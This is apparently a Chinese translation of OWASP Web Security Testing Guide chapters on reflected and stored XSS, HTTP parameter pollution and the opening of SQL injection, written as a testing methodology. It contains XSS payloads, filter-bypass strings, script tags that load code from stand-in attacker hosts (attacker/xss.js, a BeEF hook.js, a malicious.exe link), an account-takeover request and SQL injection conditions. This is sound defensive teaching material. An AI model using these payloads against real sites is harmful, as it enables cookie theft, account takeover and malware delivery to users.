7.渗透测试指南-输入验证测试

反射型跨站脚本攻击测试

编号
WSTG - INPV - 01

概述

反射型[跨站脚本攻击(XSS)](https://owasp.org/www - community/attacks/xss/)是指攻击者在单个 HTTP 响应中注入可在浏览器执行的代码。注入的攻击代码不会存储在应用程序本身中,它是非持久化的,只会影响那些打开恶意构造链接或第三方网页的用户。攻击字符串作为构造的 URI 或 HTTP 参数的一部分,被应用程序不当处理后返回给受害者。

反射型 XSS 是现实中最常见的 XSS 攻击类型。反射型 XSS 攻击也被称为非持久化 XSS 攻击,由于攻击载荷是通过单个请求和响应来传递和执行的,它们也被称为一阶或 1 型 XSS。

当一个 Web 应用程序易受此类攻击时,它会将请求中未经验证的输入原样返回给客户端。这种攻击的常见操作模式包括:设计阶段,攻击者创建并测试恶意 URI;社会工程学阶段,攻击者诱使受害者在其浏览器中加载该 URI;最后,利用受害者的浏览器执行恶意代码。

攻击者的代码通常用 JavaScript 编写,但也会使用其他脚本语言,如 ActionScript 和 VBScript。攻击者通常利用这些漏洞安装键盘记录器、窃取受害者的 Cookie、进行剪贴板盗窃以及更改页面内容(如下载链接)。

防止 XSS 漏洞的主要难点之一是正确的字符编码。在某些情况下,Web 服务器或 Web 应用程序可能无法过滤某些字符编码。例如,Web 应用程序可能会过滤掉 <script>,但可能无法过滤 %3cscript%3e,后者只是标签的另一种编码形式。

测试目标

  • 识别响应中会被反射的变量。
  • 评估这些变量接受的输入以及返回时应用的编码(如果有的话)。

测试方法

黑盒测试

黑盒测试至少包括三个阶段:

检测输入向量

检测输入向量。对于每个网页,测试人员必须确定 Web 应用程序的所有用户定义变量以及输入这些变量的方式。这包括隐藏或不明显的输入,如 HTTP 参数、POST 数据、隐藏表单字段值以及预定义的单选或选择值。通常会使用浏览器内的 HTML 编辑器或 Web 代理来查看这些隐藏变量。以下是一个示例。

分析输入向量

分析每个输入向量以检测潜在的漏洞。为了检测 XSS 漏洞,测试人员通常会对每个输入向量使用专门构造的输入数据。此类输入数据通常是无害的,但会触发 Web 浏览器的响应,从而暴露出漏洞。测试数据可以通过使用 Web 应用程序模糊测试工具、预定义的已知攻击字符串列表或手动生成。
以下是一些此类输入数据的示例:

  • <script>alert(123)</script>
  • "><script>alert(document.cookie)</script>

有关潜在测试字符串的完整列表,请参阅[XSS 过滤绕过备忘单](https://owasp.org/www - community/xss - filter - evasion - cheatsheet)。

检查影响

对于上一阶段尝试的每个测试输入,测试人员将分析结果,确定其是否代表对 Web 应用程序安全有实际影响的漏洞。这需要检查生成的网页 HTML 并搜索测试输入。一旦找到,测试人员要识别任何未被正确编码、替换或过滤掉的特殊字符。易受攻击的未过滤特殊字符集将取决于 HTML 该部分的上下文。

理想情况下,所有 HTML 特殊字符都应替换为 HTML 实体。需要识别的关键 HTML 实体包括:

  • >(大于号)
  • <(小于号)
  • &(和号)
  • '(单引号)
  • "(双引号)

然而,完整的实体列表由 HTML 和 XML 规范定义。维基百科有完整参考

在 HTML 动作或 JavaScript 代码的上下文中,需要对另一组特殊字符进行转义、编码、替换或过滤。这些字符包括:

  • \n(换行符)
  • \r(回车符)
  • '(单引号)
  • "(双引号)
  • \(反斜杠)
  • \uXXXX(Unicode 值)

有关更完整的参考,请参阅[Mozilla JavaScript 指南](https://developer.mozilla.org/en - US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Using_special_characters_in_strings)。

示例 1

例如,考虑一个网站,它有一个欢迎提示 Welcome %username% 和一个下载链接。

在这里插入图片描述

图 4.7.1 - 1:XSS 示例 1

测试人员必须怀疑每个数据入口点都可能导致 XSS 攻击。为了分析它,测试人员将对用户变量进行操作,尝试触发漏洞。

让我们尝试点击以下链接,看看会发生什么:

https://example.com/index.php?user=<script>alert(123)</script>

如果未进行任何清理操作,这将导致弹出以下对话框:

在这里插入图片描述

图 4.7.1 - 2:XSS 示例 1

这表明存在 XSS 漏洞,并且似乎测试人员可以让任何点击其链接的人在浏览器中执行他选择的代码。

示例 2

让我们尝试另一段代码(链接):

https://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");AllLinks[0].href = "https://badexample.com/malicious.exe";}</script>

这会产生以下行为:

在这里插入图片描述

图 4.7.1 - 3:XSS 示例 2

这将导致用户点击测试人员提供的链接时,从攻击者控制的站点下载 malicious.exe 文件。

绕过 XSS 过滤器

反射型跨站脚本攻击可以通过 Web 应用程序对输入进行清理、Web 应用程序防火墙阻止恶意输入或现代 Web 浏览器内置的机制来防范。测试人员在测试漏洞时应假设 Web 浏览器不会阻止攻击。浏览器可能版本过旧,或者内置的安全功能可能被禁用。同样,Web 应用程序防火墙也不能保证能识别新颖、未知的攻击。攻击者可以构造一个 Web 应用程序防火墙无法识别的攻击字符串。

因此,大多数 XSS 防范措施必须依赖于 Web 应用程序对不可信用户输入的清理。开发人员可以使用多种机制进行清理,如返回错误、移除、编码或替换无效输入。应用程序检测和纠正无效输入的方式是防范 XSS 的另一个主要薄弱点。拒绝列表可能未包含所有可能的攻击字符串,允许列表可能过于宽松,清理操作可能失败,或者某种类型的输入可能被错误地信任而未进行清理。所有这些情况都可能让攻击者绕过 XSS 过滤器。

[XSS 过滤绕过备忘单](https://owasp.org/www - community/xss - filter - evasion - cheatsheet)记录了常见的过滤绕过测试方法。

示例 3:标签属性值

由于这些过滤器基于拒绝列表,它们可能无法阻止所有类型的表达式。实际上,在某些情况下,无需使用 <script> 标签,甚至无需使用通常会被过滤的 <> 等字符,也可以实施 XSS 攻击。

例如,Web 应用程序可能使用用户输入值来填充一个属性,如下列代码所示:

<input type="text" name="state" value="INPUT_FROM_USER">

然后攻击者可以提交以下代码:

" onfocus="alert(document.cookie)
示例 4:不同的语法或编码

在某些情况下,基于特征的过滤器可以通过对攻击进行混淆来绕过。通常可以通过在语法或编码中插入意外的变体来实现。当代码返回时,这些变体作为有效的 HTML 会被浏览器接受,但也可能被过滤器接受。
以下是一些示例:

  • "><script >alert(document.cookie)</script >
  • "><ScRiPt>alert(document.cookie)</ScRiPt>
  • "%3cscript%3ealert(document.cookie)%3c/script%3e
示例 5:绕过非递归过滤

有时清理操作只进行一次,而不是递归执行。在这种情况下,攻击者可以通过发送包含多次尝试的字符串来绕过过滤器,如下所示:

<scr<script>ipt>alert(document.cookie)</script>
示例 6:包含外部脚本

现在假设目标站点的开发人员实现了以下代码来防止输入中包含外部脚本:

<?
    $re = "/<script[^>]+src/i";

    if (preg_match($re, $_GET['var']))
    {
        echo "Filtered";
        return;
    }
    echo "Welcome ".$_GET['var']." !";
?>

对上述正则表达式进行拆解:

  1. 检查是否有 <script
  2. 检查是否有一个空格
  3. 检查除 > 之外的任意字符出现一次或多次
  4. 检查是否有 src

这对于过滤像 <script src="https://attacker/xss.js"></script> 这样的常见攻击表达式很有用。但在这种情况下,可以通过在 scriptsrc 之间的属性中使用 > 字符来绕过清理操作,如下所示:

https://example/?var=<SCRIPT%20a=">"%20SRC="https://attacker/xss.js"></SCRIPT>

这将利用前面提到的反射型跨站脚本攻击漏洞,执行存储在攻击者 Web 服务器上的 JavaScript 代码,就好像它来自受害者站点 https://example/ 一样。

示例 7:HTTP 参数污染(HPP)

另一种绕过过滤器的方法是 HTTP 参数污染。这种技术由 Stefano di Paola 和 Luca Carettoni 于 2009 年在 OWASP 波兰会议上首次提出。有关更多信息,请参阅[HTTP 参数污染测试](04 - Testing_for_HTTP_Parameter_Pollution.md)。这种绕过技术包括将一个攻击向量拆分到多个同名参数中。每个参数值的处理方式取决于每种 Web 技术解析这些参数的方式,因此这种绕过方式并非总是可行。如果被测环境会将所有同名参数的值连接起来,那么攻击者可以使用这种技术来绕过基于模式的安全机制。
常规攻击:

https://example/page.php?param=<script>[...]</script>

使用 HPP 的攻击:

https://example/page.php?param=<script&param=>[...]</&param=script>

有关更详细的过滤绕过技术列表,请参阅[XSS 过滤绕过备忘单](https://owasp.org/www - community/xss - filter - evasion - cheatsheet)。最后,分析响应可能会很复杂。一种简单的方法是使用会弹出对话框的代码,就像我们的示例一样。这通常表明攻击者可以在访问者的浏览器中执行他选择的任意 JavaScript 代码。

灰盒测试

灰盒测试与黑盒测试类似。在灰盒测试中,渗透测试人员对应用程序有部分了解。在这种情况下,渗透测试人员可能了解有关用户输入、输入验证控制以及用户输入如何呈现给用户的信息。

如果可以获取源代码(白盒测试),则应分析从用户那里接收的所有变量。此外,测试人员应分析实施的任何清理程序,以确定是否可以绕过这些程序。

工具

  • PHP 字符集编码器(PCE) 可帮助你将任意文本在 65 种字符集之间进行编码和解码,你可以在自定义的有效载荷中使用这些编码。
  • Hackvertor 是一个在线工具,可对 JavaScript(或任何字符串输入)进行多种类型的编码和混淆。
  • [XSS - Proxy](https://xss - proxy.sourceforge.net/) 是一个高级的跨站脚本攻击(XSS)工具。
  • ratproxy 是一个半自动化、主要为被动式的 Web 应用程序安全审计工具,针对复杂的 Web 2.0 环境中现有用户发起的流量进行观察,可精确、灵敏地检测潜在问题和与安全相关的设计模式,并自动进行标注。
  • Burp Proxy 是一个交互式的 HTTP/S 代理服务器,用于攻击和测试 Web 应用程序。
  • Zed 攻击代理(ZAP) 是一个交互式的 HTTP/S 代理服务器,内置扫描器,用于攻击和测试 Web 应用程序。

参考资料

OWASP 资源

  • [XSS 过滤绕过备忘单](https://owasp.org/www - community/xss - filter - evasion - cheatsheet)

书籍

  • Joel Scambray、Mike Shema、Caleb Sima - 《Hacking Exposed Web Applications》(第二版),McGraw - Hill,2006 年 - ISBN 0 - 07 - 226229 - 0
  • Dafydd Stuttard、Marcus Pinto - 《The Web Application’s Handbook - Discovering and Exploiting Security Flaws》,2008 年,Wiley,ISBN 978 - 0 - 470 - 17077 - 9
  • Jeremiah Grossman、Robert “RSnake” Hansen、Petko “pdp” D. Petkov、Anton Rager、Seth Fogie - 《Cross Site Scripting Attacks: XSS Exploits and Defense》,2007 年,Syngress,ISBN - 10: 1 - 59749 - 154 - 3

白皮书

存储型跨站脚本攻击测试

编号
WSTG - INPV - 02

概述

存储型[跨站脚本攻击(XSS)](https://owasp.org/www - community/attacks/xss/)是最危险的跨站脚本攻击类型。允许用户存储数据的 Web 应用程序可能会受到这种类型的攻击。本章将介绍存储型跨站脚本注入的示例以及相关的利用场景。

当 Web 应用程序收集用户可能包含恶意内容的输入,然后将该输入存储在数据存储中以供后续使用时,就会发生存储型 XSS。存储的输入未经过正确过滤。因此,恶意数据会看起来像是网站的一部分,并在用户浏览器中以 Web 应用程序的权限运行。由于这种漏洞通常至少涉及对应用程序的两次请求,因此也被称为二阶 XSS。

这种漏洞可用于进行多种基于浏览器的攻击,包括:

  • 劫持其他用户的浏览器
  • 捕获应用程序用户查看的敏感信息
  • 对应用程序进行伪篡改
  • 对内部主机进行端口扫描(相对于 Web 应用程序的用户而言的“内部”)
  • 定向交付基于浏览器的漏洞利用程序
  • 其他恶意活动

存储型 XSS 无需恶意链接即可被利用。当用户访问包含存储型 XSS 的页面时,攻击就会成功实施。以下阶段与典型的存储型 XSS 攻击场景相关:

  • 攻击者将恶意代码存储到易受攻击的页面中
  • 用户在应用程序中进行身份验证
  • 用户访问易受攻击的页面
  • 恶意代码由用户的浏览器执行

这种类型的攻击还可以使用浏览器漏洞利用框架来实施,例如 BeEF 和 [XSS Proxy](https://xss - proxy.sourceforge.net/)。这些框架允许进行复杂的 JavaScript 漏洞利用开发。

存储型 XSS 在具有高权限用户访问的应用程序区域中尤其危险。当管理员访问易受攻击的页面时,攻击会自动由他们的浏览器执行。这可能会泄露敏感信息,例如会话授权令牌。

测试目标

  • 识别在客户端上反射的存储型输入。
  • 评估应用程序接受的输入以及返回时应用的编码(如果有)。

测试方法

黑盒测试

识别存储型 XSS 漏洞的过程与[反射型 XSS 测试](01 - Testing_for_Reflected_Cross_Site_Scripting.md)中描述的过程类似。

输入表单

第一步是确定所有用户输入被存储到后端,然后由应用程序显示的位置。典型的存储型用户输入示例可以在以下位置找到:

  • 用户/个人资料页面:应用程序允许用户编辑/更改个人资料详细信息,例如名字、姓氏、昵称、头像、图片、地址等。
  • 购物车:应用程序允许用户将商品存储到购物车中,以便日后查看。
  • 文件管理器:允许上传文件的应用程序。
  • 应用程序设置/偏好:允许用户设置偏好的应用程序。
  • 论坛/留言板:允许用户之间交换帖子的应用程序。
  • 博客:如果博客应用程序允许用户提交评论。
  • 日志:如果应用程序将一些用户输入存储到日志中。
分析 HTML 代码

应用程序存储的输入通常用于 HTML 标签中,但也可以作为 JavaScript 内容的一部分找到。在这个阶段,了解输入是否被存储以及它在页面上下文中的位置至关重要。与反射型 XSS 不同,渗透测试人员还应该调查应用程序接收和存储用户输入的任何带外通道。

注意:应测试管理员可以访问的应用程序的所有区域,以确定是否存在用户提交的任何数据。

示例index2.php 中存储的电子邮件数据

在这里插入图片描述

图 4.7.2 - 1:存储型输入示例

index2.php 中包含电子邮件值的 HTML 代码:

<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com" />

在这种情况下,测试人员需要找到一种方法,在 <input> 标签之外注入代码,如下所示:

<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> 恶意代码 <!-- />
存储型 XSS 测试

这涉及测试应用程序的输入验证和过滤控制。在这种情况下,基本的注入示例如下:

  • aaa@aa.com&quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;
  • aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
    确保通过应用程序提交输入。如果实施了客户端安全控制,这通常涉及禁用 JavaScript,或者使用 Web 代理修改 HTTP 请求。使用 HTTP GET 和 POST 请求进行相同的注入测试也很重要。上述注入会导致弹出一个包含 cookie 值的窗口。

在这里插入图片描述

图 4.7.2 - 2:存储型输入示例

注入后的 HTML 代码:

<input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"><script>alert(document.cookie)</script>

输入被存储,当页面重新加载时,XSS 有效负载会由浏览器执行。如果输入被应用程序转义,测试人员应该测试应用程序的 XSS 过滤器。例如,如果字符串 “SCRIPT” 被空格或空字符替换,那么这可能是正在进行 XSS 过滤的潜在迹象。为了绕过输入过滤器,存在许多技术(请参阅[反射型 XSS 测试](01 - Testing_for_Reflected_Cross_Site_Scripting.md)章节)。强烈建议测试人员参考 [XSS 过滤器绕过](https://owasp.org/www - community/xss - filter - evasion - cheatsheet)和 Mario XSS 备忘单页面,这些页面提供了大量的 XSS 攻击和过滤绕过方法。有关更多详细信息,请参阅白皮书和工具部分。

使用 BeEF 利用存储型 XSS

存储型 XSS 可以被高级 JavaScript 漏洞利用框架利用,例如 BeEF 和 [XSS Proxy](https://xss - proxy.sourceforge.net/)。

典型的 BeEF 利用场景包括:

  • 注入一个 JavaScript 钩子,该钩子与攻击者的浏览器漏洞利用框架(BeEF)进行通信。
  • 等待应用程序用户查看显示存储型输入的易受攻击页面。
  • 通过 BeEF 控制台控制应用程序用户的浏览器。

可以通过利用 Web 应用程序中的 XSS 漏洞来注入 JavaScript 钩子。

示例:在 index2.php 中注入 BeEF:

aaa@aa.com"><script src=https://attackersite/hook.js></script>

当用户加载 index2.php 页面时,浏览器会执行 hook.js 脚本。然后就可以访问 cookie、用户屏幕截图、用户剪贴板,并发起复杂的 XSS 攻击。

在这里插入图片描述

图 4.7.2 - 3:Beef 注入示例

这种攻击在许多具有不同权限的用户查看的易受攻击页面中尤其有效。

文件上传

如果 Web 应用程序允许文件上传,重要的是检查是否可以上传 HTML 内容。例如,如果允许上传 HTML 或 TXT 文件,则可以在上传的文件中注入 XSS 有效负载。渗透测试人员还应该验证文件上传是否允许设置任意 MIME 类型。

考虑以下用于文件上传的 HTTP POST 请求:

POST /fileupload.aspx HTTP/1.1
[…]
Content - Disposition: form - data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.txt"
Content - Type: text/plain

test

这种设计缺陷可用于浏览器 MIME 处理不当攻击。例如,看似无害的文件(如 JPG 和 GIF)可能包含 XSS 有效负载,当它们被浏览器加载时会被执行。当图像的 MIME 类型(如 image/gif)可以设置为 text/html 时,就会发生这种情况。在这种情况下,客户端浏览器会将该文件视为 HTML。

伪造的 HTTP POST 请求:

Content - Disposition: form - data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.gif"
Content - Type: text/html

<script>alert(document.cookie)</script>

还应考虑到 Internet Explorer 处理 MIME 类型的方式与 Mozilla Firefox 或其他浏览器不同。例如,Internet Explorer 会将包含 HTML 内容的 TXT 文件视为 HTML 内容。有关 MIME 处理的更多信息,请参阅本章底部的白皮书部分。

盲跨站脚本攻击

盲跨站脚本攻击是存储型 XSS 的一种形式。它通常发生在攻击者的有效负载被保存在服务器/基础设施上,然后由后端应用程序反射回受害者时。例如,在反馈表单中,攻击者可以使用该表单提交恶意有效负载,一旦应用程序的后端用户/管理员通过后端应用程序查看攻击者的提交内容,攻击者的有效负载就会被执行。在现实场景中,盲跨站脚本攻击很难确认,但 XSS Hunter 是进行此类测试的最佳工具之一。

注意:测试人员在进行安全测试时,应仔细考虑使用公共或第三方服务的隐私影响。(请参阅“工具”部分。)

灰盒测试

灰盒测试与黑盒测试类似。在灰盒测试中,渗透测试人员对应用程序有部分了解。在这种情况下,渗透测试人员可能了解有关用户输入、输入验证控制和数据存储的信息。

根据可用信息,通常建议测试人员检查应用程序如何处理用户输入,然后将其存储到后端系统中。建议采取以下步骤:

  • 使用前端应用程序,输入特殊/无效字符。
  • 分析应用程序的响应。
  • 识别输入验证控制的存在。
  • 访问后端系统,检查输入是否被存储以及如何存储。
  • 分析源代码,了解应用程序如何渲染存储的输入。

如果可以获取源代码(如白盒测试),则应分析输入表单中使用的所有变量。特别是,PHP、ASP 和 JSP 等编程语言使用预定义的变量/函数来存储来自 HTTP GET 和 POST 请求的输入。

下表总结了分析源代码时需要关注的一些特殊变量和函数:

PHPASPJSP
$_GET - HTTP GET 变量Request.QueryString - HTTP GETdoGetdoPost servlet - HTTP GET 和 POST
$_POST - HTTP POST 变量Request.Form - HTTP POSTrequest.getParameter - HTTP GET/POST 变量
$_REQUEST – HTTP POST、GET 和 COOKIE 变量Server.CreateObject - 用于上传文件
$_FILES - HTTP 文件上传变量

注意:上表仅总结了最重要的参数,但应调查所有用户输入参数。

工具

  • PHP 字符集编码器(PCE) 可帮助你将任意文本编码为 65 种字符集或从这些字符集进行解码,你可以在自定义有效负载中使用这些编码。
  • Hackvertor 是一个在线工具,允许对 JavaScript(或任何字符串输入)进行多种类型的编码和混淆。
  • BeEF 是浏览器漏洞利用框架。这是一个专业工具,用于演示浏览器漏洞的实时影响。
  • [XSS - Proxy](https://xss - proxy.sourceforge.net/) 是一个高级跨站脚本攻击(XSS)工具。
  • Burp Proxy 是一个交互式 HTTP/S 代理服务器,用于攻击和测试 Web 应用程序。
  • XSS 助手 是一个 Greasemonkey 脚本,允许用户轻松测试任何 Web 应用程序的跨站脚本漏洞。
  • Zed 攻击代理(ZAP) 是一个交互式 HTTP/S 代理服务器,用于攻击和测试 Web 应用程序,内置扫描器。
  • XSS Hunter 便携式版 XSS Hunter 可以发现各种跨站脚本漏洞,包括经常被遗漏的盲 XSS。

参考资料

OWASP 资源

书籍

  • Joel Scambray、Mike Shema、Caleb Sima - 《Hacking Exposed Web Applications》,第二版,McGraw - Hill,2006 年 - ISBN 0 - 07 - 226229 - 0
  • Dafydd Stuttard、Marcus Pinto - 《The Web Application’s Handbook - Discovering and Exploiting Security Flaws》,2008 年,Wiley,ISBN 978 - 0 - 470 - 17077 - 9
  • Jeremiah Grossman、Robert “RSnake” Hansen、Petko “pdp” D. Petkov、Anton Rager、Seth Fogie - 《Cross Site Scripting Attacks: XSS Exploits and Defense》,2007 年,Syngress,ISBN - 10: 1 - 59749 - 154 - 3

白皮书

HTTP 参数污染测试

编号
WSTG - INPV - 04

概述

HTTP 参数污染测试用于检验应用程序在接收到多个同名 HTTP 参数时的响应情况。例如,GET 或 POST 参数中 username 参数出现两次的情况。

提供多个同名的 HTTP 参数可能会使应用程序以意想不到的方式解析这些值。攻击者可利用这些情况绕过输入验证、触发应用程序错误或修改内部变量的值。由于 HTTP 参数污染(简称 HPP)影响所有 Web 技术的基础组成部分,因此存在服务器端和客户端攻击方式。

当前的 HTTP 标准并未对如何解析多个同名输入参数给出指导。例如,RFC 3986 仅将 查询字符串 定义为一系列字段 - 值对,而 RFC 2396 定义了保留和非保留查询字符串字符的类别。由于缺乏标准,Web 应用程序组件会以各种不同的方式处理这种特殊情况(详情见下表)。

这本身并不一定意味着存在漏洞。然而,如果开发者没有意识到这个问题,重复参数的存在可能会使应用程序出现异常行为,攻击者就有可能利用这些异常。在安全领域,意外行为往往是导致漏洞的常见原因,在这种情况下就可能引发 HTTP 参数污染攻击。为了更好地介绍这类漏洞以及 HPP 攻击的后果,分析过去发现的一些实际案例会很有帮助。

绕过输入验证和过滤器

2009 年,关于 HTTP 参数污染的首次研究成果发布后,这种技术就引起了安全界的关注,被视为一种绕过 Web 应用程序防火墙的可能方法。

其中一个影响 ModSecurity SQL 注入核心规则 的漏洞,很好地体现了应用程序与过滤器之间的不匹配问题。ModSecurity 过滤器会正确地对以下字符串应用拒绝列表:select 1,2,3 from table,从而阻止像 /index.aspx?page=select 1,2,3 from table 这样的示例 URL 被 Web 服务器处理。然而,攻击者可以利用多个 HTTP 参数的拼接,让应用服务器在 ModSecurity 过滤器已经接受输入后再拼接字符串。例如,URL /index.aspx?page=select 1&page=2,3 from table 不会触发 ModSecurity 过滤器,但应用层会将输入重新拼接成完整的恶意字符串。

另一个 HPP 漏洞影响了 Apple Cups,这是许多 Unix 系统使用的知名打印系统。攻击者利用 HPP,通过以下 URL 可以轻松触发跨站脚本攻击漏洞:https://127.0.0.1:631/admin/?kerberos=onmouseover=alert(1)&kerberos。通过添加一个包含有效字符串(如空字符串)的额外 kerberos 参数,就可以绕过应用程序的验证检查点。由于验证检查点只考虑第二个参数,第一个 kerberos 参数在用于生成动态 HTML 内容之前没有得到正确的清理。攻击成功后,将在托管站点的上下文中执行 JavaScript 代码。

绕过身份验证

在流行的博客平台 Blogger 中发现了一个更为严重的 HPP 漏洞。攻击者可以通过以下 HTTP 请求(https://www.blogger.com/add-authors.do)来接管受害者的博客:

POST /add-authors.do HTTP/1.1
[...]

security_token=attackertoken&blogID=attackerblogidvalue&blogID=victimblogidvalue&authorsList=goldshlager19test%40gmail.com(attacker email)&ok=Invite

该漏洞存在于 Web 应用程序的身份验证机制中,安全检查是基于第一个 blogID 参数进行的,而实际操作使用的是第二个参数。

应用服务器的预期行为

下表展示了不同 Web 技术在处理多个同名 HTTP 参数时的表现。

假设 URL 和查询字符串为:https://example.com/?color=red&color=blue

Web 应用服务器后端解析结果示例
ASP.NET / IIS所有参数值用逗号拼接color=red,blue
ASP / IIS所有参数值用逗号拼接color=red,blue
.NET Core 3.1 / Kestrel所有参数值用逗号拼接color=red,blue
.NET 5 / Kestrel所有参数值用逗号拼接color=red,blue
PHP / Apache仅使用最后一个参数值color=blue
PHP / Zeus仅使用最后一个参数值color=blue
JSP、Servlet / Apache Tomcat仅使用第一个参数值color=red
JSP、Servlet / Oracle Application Server 10g仅使用第一个参数值color=red
JSP、Servlet / Jetty仅使用第一个参数值color=red
IBM Lotus Domino仅使用最后一个参数值color=blue
IBM HTTP Server仅使用第一个参数值color=red
Node.js / express仅使用第一个参数值color=red
mod_perl、libapreq2 / Apache仅使用第一个参数值color=red
Perl CGI / Apache仅使用第一个参数值color=red
mod_wsgi (Python) / Apache仅使用第一个参数值color=red
Python / Zope所有参数值存于列表数据类型中color=[‘red’,‘blue’]

(来源:Appsec EU 2009 Carettoni & Paola)

测试目标

  • 识别所使用的后端和解析方法。
  • 评估注入点,并尝试使用HTTP参数污染(HPP)绕过输入过滤器。

测试方法

幸运的是,由于HTTP参数的分配通常由Web应用程序服务器处理,而非应用程序代码本身,因此测试对参数污染的响应应该在所有页面和操作中都是标准的。然而,由于需要深入了解业务逻辑,测试HPP需要进行手动测试。自动化工具只能为审计人员提供部分帮助,因为它们往往会产生大量误报。此外,HPP可能会在客户端和服务器端组件中出现。

服务器端HPP

要测试HPP漏洞,需要识别任何允许用户输入的表单或操作。HTTP GET请求中的查询字符串参数很容易在浏览器的导航栏中进行修改。如果表单操作通过POST方法提交数据,测试人员需要使用拦截代理来篡改发送到服务器的POST数据。确定要测试的特定输入参数后,可以通过拦截请求来编辑GET或POST数据,或者在响应页面加载后更改查询字符串。要测试HPP漏洞,只需在GET或POST数据中追加相同的参数,但赋予不同的值。

例如:如果要测试查询字符串中的search_string参数,请求URL将包含该参数名称和值:

https://example.com/?search_string=kittens

该特定参数可能隐藏在其他几个参数之中,但方法是相同的;保留其他参数不变,追加重复的参数:

https://example.com/?mode=guest&search_string=kittens&num_results=100

追加相同的参数并赋予不同的值:

https://example.com/?mode=guest&search_string=kittens&num_results=100&search_string=puppies

然后提交新的请求。

分析响应页面,以确定解析了哪些值。在上述示例中,搜索结果可能显示kittenspuppies,两者的某种组合(如kittens,puppieskittens~puppies['kittens','puppies']),也可能给出空结果或错误页面。

这种使用相同名称的输入参数的第一个、最后一个或组合值的行为,很可能在整个应用程序中是一致的。这种默认行为是否揭示了潜在漏洞,取决于特定应用程序的具体输入验证和过滤机制。一般来说:如果现有的输入验证和其他安全机制对单个输入是足够的,并且服务器只分配第一个或最后一个受污染的参数,那么参数污染不会揭示漏洞。如果重复的参数被连接起来,不同的Web应用程序组件使用不同的参数值,或者测试产生错误,那么就更有可能利用参数污染来触发安全漏洞。

更深入的分析需要为每个HTTP参数发送三个HTTP请求:

  1. 提交一个包含标准参数名称和值的HTTP请求,并记录HTTP响应。例如:page?par1=val1
  2. 将参数值替换为篡改后的值,提交请求并记录HTTP响应。例如:page?par1=HPP_TEST1
  3. 发送一个结合步骤(1)和(2)的新请求。同样,保存HTTP响应。例如:page?par1=val1&par1=HPP_TEST1
  4. 比较之前所有步骤中获得的响应。如果步骤(3)的响应与步骤(1)不同,并且步骤(3)的响应也与步骤(2)不同,则存在阻抗不匹配的情况,最终可能被利用来触发HPP漏洞。

从参数污染弱点构建完整的利用方法超出了本文的范围。有关示例和详细信息,请参阅参考资料。

客户端HPP

与服务器端HPP类似,手动测试是审计Web应用程序以检测影响客户端组件的参数污染漏洞的唯一可靠技术。在服务器端攻击中,攻击者利用易受攻击的Web应用程序来访问受保护的数据或执行不允许或不应该执行的操作,而客户端攻击则旨在破坏客户端组件和技术。

要测试客户端HPP漏洞,需要识别任何允许用户输入并向用户显示输入结果的表单或操作。搜索页面是理想的测试对象,但登录框可能不适用(因为它可能不会向用户显示无效的用户名)。

与服务器端HPP类似,用%26HPP_TEST污染每个HTTP参数,并查找用户提供的有效负载的URL解码实例:

  • &HPP_TEST
  • &amp;HPP_TEST
  • 等等

特别要注意响应中datasrchref属性或表单操作中包含HPP向量的情况。同样,这种默认行为是否揭示了潜在漏洞,取决于特定的输入验证、过滤和应用程序业务逻辑。此外,值得注意的是,此漏洞还可能影响XMLHttpRequest(XHR)、运行时属性创建和其他插件技术(如Adobe Flash的flashvars变量)中使用的查询字符串参数。

工具

参考资料

白皮书

SQL注入测试

编号
WSTG - INPV - 05

概述

SQL注入测试旨在检测是否能向应用程序或网站注入数据,从而在数据库中执行用户可控的SQL查询。若应用程序在创建SQL查询时使用用户输入却未进行适当的输入验证,测试人员就可能发现SQL注入漏洞。成功利用此类漏洞,未经授权的用户便能访问或操纵数据库中的数据,这显然是非常危险的。

SQL注入攻击是指通过数据输入,或者从客户端(浏览器)传输到Web应用程序的数据,插入部分或完整的SQL查询。成功的SQL注入攻击能够从数据库中读取敏感数据、修改数据库数据(插入/更新/删除)、在数据库上执行管理操作(如关闭数据库管理系统)、恢复数据库管理系统文件系统中给定文件的内容,或者将文件写入文件系统,在某些情况下,还能向操作系统发出命令。SQL注入攻击属于注入攻击的一种,攻击者将SQL命令注入数据平面输入,以此影响预定义SQL命令的执行。

通常,Web应用程序构建SQL语句时,程序员编写的SQL语法会与用户提供的数据混合。例如:

select title, text from news where id=$id

在上述示例中,变量$id包含用户提供的数据,其余部分则是程序员编写的SQL静态部分,这使得SQL语句具有动态性。

由于这种构造方式,用户可以提供精心构造的输入,尝试让原始SQL语句执行其选择的其他操作。以下示例展示了用户提供的数据“10 or 1 = 1”如何改变SQL语句的逻辑,通过添加“or 1 = 1”条件修改了WHERE子句。

select title, text from news where id=10 or 1=1

注意:在SQL查询中注入条件“OR 1 = 1”时需谨慎。尽管在初始注入的上下文中可能无害,但应用程序通常会在多个不同的查询中使用同一请求的数据。例如,如果该条件进入了UPDATE或DELETE语句,可能会导致意外的数据丢失。

SQL注入攻击可分为以下三类:

  • 带内注入:利用注入SQL代码的同一通道提取数据。这是最直接的攻击方式,检索到的数据会直接显示在应用程序的网页上。
  • 带外注入:使用不同的通道检索数据(例如,生成包含查询结果的电子邮件并发送给测试人员)。
  • 推理式或盲注:实际并无数据传输。但测试人员可通过发送特定请求并观察数据库服务器的响应行为来重构信息。

成功的SQL注入攻击要求攻击者构造语法正确的SQL查询。若应用程序返回因错误查询产生的错误消息,攻击者可能更容易重构原始查询的逻辑,从而了解如何正确执行注入。然而,若应用程序隐藏了错误细节,测试人员则必须能够逆向工程原始查询的逻辑。

关于利用SQL注入漏洞的技术,常见的有五种,并且这些技术有时可以组合使用(例如,联合运算符和带外技术):

  • 联合运算符:当SQL注入漏洞出现在SELECT语句中时可使用,它能将两个查询合并为一个结果或结果集。
  • 布尔式:使用布尔条件验证某些条件的真假。
  • 基于错误:这种技术迫使数据库产生错误,为攻击者或测试人员提供信息以优化注入。
  • 带外:使用不同的通道检索数据(例如,建立HTTP连接将结果发送到Web服务器)。
  • 时间延迟:使用数据库命令(如sleep)在条件查询中延迟响应。当攻击者无法从应用程序获得某些响应(结果、输出或错误)时,此技术非常有用。

测试目标

